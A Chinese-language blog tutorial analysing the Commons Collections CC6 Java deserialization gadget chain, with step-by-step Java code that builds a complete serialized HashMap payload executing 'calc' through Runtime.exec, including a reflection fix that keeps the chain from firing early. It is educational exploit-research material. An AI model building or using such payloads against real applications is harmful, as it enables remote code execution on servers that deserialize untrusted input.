Java反序列化利用链篇 | CC6链分析(通用版CC链)

潜心练剑 剑道自然神 / 2024-09-23 / 原文

CC6

CC6和CC1之间的区别

在CC1的LazyMap链中,调用链如下:

AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

而在CC1链中,对CommonsCollections和jdk版本是有限制的。

而CC6链不受版本影响,更具通用性。

其调用链为:

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

其和CC1的不同点在于,入口类不同,通过

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()

调用了LazyMapget()方法。

CC6的调用链

  • HashMap.readObject()方法调用了HashMap.hash()方法:

  • HashMap.hash()方法调用了key.hashCode()方法,如果要使调用的是TiedMapEntry.hashCode()方法,需要使key参数为TiedMapEntry对象:

  • TiedMapEntry.hashCode()方法调用了TiedMapEntry.getValue()方法:

  • TiedMapEntry.getValue()方法调用了map.get()方法,如果要使被调用的是LazyMap.get()方法,需要使map属性为LazyMap对象:

构造CC6的payload

CC6和CC1-2的调用链后半段一致

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);

完成TiedMapEntry.getValue()

TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象

TiedMapEntry的构造方法为public,所以可以直接实例化

代码如下:

这里有一个点需要注意(小坑):TiedMapEntry()构造方法的第二个参数用不到,所以随意传入进行,但是重要的是它接受一个Object对象,而这个对象的类需要实现Serializable接口,如果不是,则后续的序列化不能成功。
所以,这里不能传入new Object(),但可以传入new String(),因为Object类没有实现Serializable接口。

// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());

其中的getValue()也为public修饰,所以可以直接调用用来测试

tiedMapEntry.getValue();

运行,成功执行恶意代码:

完成TiedMapEntry.hashCode()

接下来,看谁调用了tiedMapEntry的getValue(),前面已经说过,TiedMapEntryhashCode()方法中有调用,因此:

tiedMapEntry.hashCode();

这里直接测试,此时代码如下(只是将getValue方法替换成了hashCode方法):

完成HashMap.hash()HashMap.readObject()

接下来就是HashMap中的hash()方法调用hashCode()方法,其中传入的key需要是tiedMapEntry

hash()方法没有被public修饰,不能直接调用,因此需要利用readObject()方法,因为在readObject()方法中存在hash()方法的调用。

readObject()方法在反序列化的时候会被调用,因此我们只需要创建一个HashMap对象,然后序列化即可。注意key需要保证是tiedMapEntry

代码如下:

  HashMap hashMap = new HashMap();
  hashMap.put(tiedMapEntry,null);  // 将tiedMapEntry当做key存入hashMap

此时的payload的代码如下:

// CC6和CC1-2的调用链后半段一致
// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,null);  // 将tiedMapEntry当做key存入hashMap

SerAndUnser.serialize(hashMap);
//        SerAndUnser.unserialize("ser.bin");

看似完美,但是运行会发现,即使不进行序列,也会弹计算器?

这是为什么呢?

如果我们进入hashMap的put()方法会发现,put()方法中已经触发了hash()方法,

接下来,解决一下这个问题

解决hash()方法提前触发的问题

这里其实跟URLDNS链中的情况差不多~

我们的解决思路是:

  • 1)tiedMapEntry对象在put方式放入hashMap对象时,使tiedMapEntry对象中的内容不完整,进而不让最终的代码触发。
  • 2)put完成之后,通过反射再将tiedMapEntry对象中的内容修改完整。

那如何让tiedMapEntry对象中的内容不完整呢?这里需要看一下tiedMapEntry对象中有什么:

可以看到tiedMapEntry对象中有lazyMap、chainedTransformer、transformerArray。

其中tiedMapEntry对象的map属性存放的就是lazyMap,我们将map属性设置为空的map对象(除上面创建的lazyMap都行),则最终就不会触发到恶意代码 (当然其他的也行:只要保证整个链子到不了恶意代码就行)。

第1步先获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)

Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);

第2步将map属性设置为一个空的map对象(除上面创建的lazyMap都行)

mapField.set(tiedMapEntry,new HashMap());

第3步,完成put操作后,再将其设置为lazyMap对象

mapField.set(tiedMapEntry,lazyMap);

因此最终的payload为:

// 1. 创建ChainedTransformer链
Transformer[] transformerArray = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,会调用TiedMapEntry.getValue()
//        tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解决hash提前触发问题
// 1)获取到tiedMapEntry的map属性(map属性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)将map属性设置为一个空的map对象(除上面创建的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)执行之前的put操作,此时tiedMapEntry对象是不完整的
hashMap.put(tiedMapEntry,"aaa");  // 将tiedMapEntry当做key存入hashMap
// 4)完成put操作后,再将其设置为lazyMap对象
mapField.set(tiedMapEntry,lazyMap);

SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");